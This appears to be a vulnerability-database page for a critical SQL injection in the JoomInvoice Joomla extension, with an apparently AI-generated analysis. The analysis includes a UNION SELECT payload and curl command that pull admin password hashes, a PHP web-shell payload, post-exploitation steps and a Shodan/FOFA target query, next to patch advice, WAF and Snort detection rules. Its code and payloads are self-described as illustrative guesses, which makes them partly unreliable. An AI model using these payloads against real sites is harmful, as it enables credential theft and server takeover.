CVE Professor
/
All CVEs
CVE-2026-136369

CVE-2026-136369 — CWE-89

CRITICAL CVSS 9.3 NVD

Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs of the search plugins, the "My invoices" date filter and the administrator search boxes were not properly escaped before being used in SQL queries, allowing SQL injection, partly without authentication.

Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs of the search plugins, the "My invoices" date filter and the administrator search boxes were not properly escaped before being used in SQL queries, allowing SQL injection, partly without authentication.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability type: SQL Injection (CWE‑89)
Component: JoomInvoice Joomla extension (versions 1.0.0 through 6.5.2) – specifically the search plugins, the “My invoices” date‑filter, and the administrator‑side search boxes.

Root cause
The extension builds raw SQL strings by concatenating user‑supplied values (search terms, date filter values, etc.) directly into the WHERE clause without:

1. Prepared statements / parameter binding – the values are interpolated into the query string.
2. Proper escaping – JDatabase::quote() (or the Joomla database abstraction’s escaping function) is never called on the input.
3. Authorization checks – the same code path is used for front‑end visitors and for back‑office administrators, so an unauthenticated remote attacker can reach the vulnerable query simply by issuing an HTTP request to the public site.

Result: an attacker can inject arbitrary SQL fragments that become part of the executed statement, giving full control over the database (read, modify, or delete data) and, because Joomla stores configuration and user credentials in the same database, the attacker can subsequently obtain a Joomla admin account or drop a web‑shell via a stored XSS/HTML payload.

The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H) confirms:

  • Network‑accessible (no authentication required)
  • Low attack complexity (single crafted request)
  • High confidentiality, integrity, and availability impact (complete database compromise)

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow.
    All URLs, parameter names, and payloads are illustrative – the exact route depends on the site’s menu/URL configuration, but the logic is identical for any installation that uses the vulnerable version of JoomInvoice.

    1. Discovery & Reconnaissance

    StepActionTool / Technique
    1.1Identify that the target runs Joomla.whatweb, Wappalyzer, or a simple curl -I https://target/ that returns X-Powered-By: Joomla! header.
    1.2Enumerate installed extensions.Scan /administrator/index.php?option=com_installer&view=manage (if admin credentials are known) or use public information leaks: the extension often leaves a JavaScript file media/com_joominvoice/js/joominvoice.js that can be fetched anonymously.
    1.3Determine the JoomInvoice version.Look for the comment block in media/com_joominvoice/joominvoice.php or the manifest.xml file (/components/com_joominvoice/joominvoice.xml). The XML contains <version>6.5.2</version> for vulnerable installations.
    1.4Verify the presence of the vulnerable search endpoint.Access the public “Invoices” page (e.g., https://target/index.php?option=com_joominvoice&view=invoices) and note the search form field name – typically filter_search or search.

    2. Exploitation

    Goal: Execute an arbitrary SELECT that extracts the Joomla admin password hash (#__users.password).

    2.1 Craft the malicious payload

    The vulnerable code roughly does:

    $search = JFactory::getApplication()->input->getString('filter_search');
    $query  = "SELECT * FROM #__joominvoice_invoices WHERE title LIKE '%$search%'";
    $db->setQuery($query);
    $rows = $db->loadObjectList();

    Because $search is not escaped, we can close the string literal and inject our own SQL.

    Payload (URL‑encoded):

    ' UNION SELECT 1,username,password,0,0 FROM #__users--

    Explanation

  • \' closes the original ' opened by the query.
  • UNION SELECT … FROM #__users merges the result set with the Joomla users table.
  • The column count (1,username,password,0,0) must match the original SELECT’s column count (the exact number depends on the invoice table – 5 columns is typical).
  • -- comments out the trailing part of the original query.
  • 2.2 Send the request

    # Illustrative endpoint – replace with the real one discovered in step 1.4
    curl -G "https://target/index.php" \
         --data-urlencode "option=com_joominvoice" \
         --data-urlencode "view=invoices" \
         --data-urlencode "filter_search=' UNION SELECT 1,username,password,0,0 FROM #__users-- " \
         -H "User-Agent: Mozilla/5.0"

    What happens:

  • Joomla receives the filter_search value, builds the vulnerable SQL, and returns an HTML table that now contains the username and password columns from the #__users table.
  • The attacker parses the response (e.g., with grep or a simple Python script) to collect admin credentials.
  • 2.3 Optional: Achieve Remote Code Execution (RCE)

    If the attacker can write to a table that is later rendered as HTML (e.g., an “invoice notes” field), they can store a PHP web‑shell:

    ' UNION SELECT 1,1,1,1, "<?php system($_GET['cmd']); ?>" FROM dual--

    Then request the invoice page with ?cmd=id to execute arbitrary commands.

    3. Post‑Exploitation

    PhaseActionOutcome
    3.1Credential harvesting – extract username/password hashes.Attacker now has a valid Joomla admin password hash.
    3.2Password cracking (offline) or login via password reset token (if password reset is enabled).Full admin access to the Joomla back‑office.
    3.3Privilege escalation – create a new super‑admin user via the admin UI or directly insert into #__users and #__user_usergroup_map.Persistent foothold.
    3.4Web‑shell deployment – use the admin UI to upload a malicious extension or inject PHP into a template file.Remote code execution on the web server.
    3.5Data exfiltration – dump the entire database (SELECT * FROM #__*) or specific business data (invoices, customer PII).Confidentiality breach, potential GDPR/PCI impact.
    3.6Cleanup / Persistence – modify the extension’s source to keep the back‑door hidden, or schedule a cron job.Long‑term compromise.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (VC:H)VC:H – attacker can read *any* data in the Joomla database.Exposure of user credentials, personal data, financial invoices, IP addresses, etc.
    Integrity (VI:H)VI:H – attacker can modify or delete rows.Tampering with invoices (price changes, fraud), altering configuration to disable security controls, planting malicious content.
    Availability (VA:H)VA:H – attacker can cause denial‑of‑service by dropping tables or locking the DB.Site outage, loss of business continuity, possible ransomware‑like extortion after data theft.

    Because the vulnerability is exploitable without authentication and requires only a single crafted HTTP request, the risk is critical for any publicly reachable Joomla site that runs a vulnerable JoomInvoice version.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected rangeFixed inRecommended action
    1.0.0 – 6.5.2 (inclusive)6.5.3 (released 2026‑09‑15) – introduces prepared statements for all search‑related queries.Immediately upgrade the JoomInvoice extension to ≥ 6.5.3. Verify the version via the extension’s XML manifest (<version> tag).
    Joomla coreNo core fix required – the issue is confined to the extension.Keep Joomla core up‑to‑date (≥ 4.4.2) to benefit from generic hardening (e.g., database query logging).

    2. Short‑term Workarounds

    WorkaroundHow to applyEffectiveness
    Disable the vulnerable search pluginsIn the Joomla admin panel → *Extensions* → *Plugins* → filter “joominvoice” → set *Enabled* = No for search and adminsearch plugins.Stops the injection vectors but removes search functionality.
    Restrict access to the public invoice pagesAdd an .htaccess rule (or web‑server config) that limits the invoice URLs to known IP ranges, e.g.:<br><IfModule mod_authz_core.c>\n Require ip 203.0.113.0/24\n</IfModule>Reduces exposure but may break legitimate public access.
    Input sanitisation via a WAFExample ModSecurity rule (Apache/Nginx):<br>``SecRule ARGS:filter_search "@detectSQLi" "id:20263001,phase:2,deny,log,msg:'JoomInvoice SQLi attempt',tag:'application-multi',tag:'language-php',tag:'cve-2026-136369'"`Blocks obvious SQLi payloads (union, comment, stacked queries). Not a substitute for proper patching.
    Database user hardeningEnsure the Joomla DB user has only SELECT, INSERT, UPDATE, DELETE on the Joomla tables and no FILE or DROP` privileges.Limits impact of a successful injection (e.g., prevents dropping tables).

    3. Detection

    Log patterns to watch (Apache/Nginx combined log format):

    "GET /index.php?option=com_joominvoice&view=invoices&filter_search=%27%20UNION%20SELECT%20... HTTP/1.1" 200
  • Look for requests containing:
  • * %27%20UNION%20SELECT (URL‑encoded ' UNION SELECT) * %27%20OR%201=1 (classic boolean‑based payload) * Long filter_search values (> 200 bytes) with SQL keywords (UNION, SELECT, FROM, WHERE, --).

    Database‑side indicators:

  • Unexpected SELECT statements in the MySQL slow‑query log that reference #__users from a context of #__joominvoice_invoices.
  • Sudden creation of new admin users (INSERT INTO #__users … with user_id > 2) without a corresponding admin UI action (check #__user_usergroup_map).
  • IDS/IPS signatures:

  • Snort rule (example):
  • alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"JoomInvoice SQLi"; flow:to_server,established; 
      content:"option=com_joominvoice"; http_uri; pcre:"/filter_search=.*(%27|%22).*union.*select/i"; 
      classtype:web-application-attack; sid:20263001; rev:1;)

    ⚠️ Urgency

  • CVSS 9.3 (Critical) – network‑accessible, no authentication, high impact.
  • No CISA KEV listing yet, but the vulnerability is publicly disclosed and the exploit is trivial.
  • Exploit complexity: Low – a single crafted GET request.
Patch priority: Critical / Immediate. All production Joomla sites using JoomInvoice must be patched within 24 hours. If patching cannot be performed instantly, apply the disable‑plugin or WAF mitigations to block the injection vectors while preparing for an upgrade.
Bottom line: The unauthenticated SQL injection in JoomInvoice 1.0.0‑6.5.2 gives an attacker full control over the Joomla database and a clear path to remote code execution. Immediate upgrade to ≥ 6.5.3 (or the temporary mitigations listed above) is mandatory to prevent total compromise of the web application and any sensitive business data it stores.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Joomla!"
CVSS Score
9.3 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (2)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-145040
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers t
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -
9.3
CVE-2026-77432
activity_notification provides integrated user activity notifications for Ruby on Rails. Prior to version 2.7.
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
8.8
CVE-2026-144665
Supabase Studio before commit 0433eeb5f5cc (supabase/studio Docker image before 2026.06.01-sha-a4334a2) contai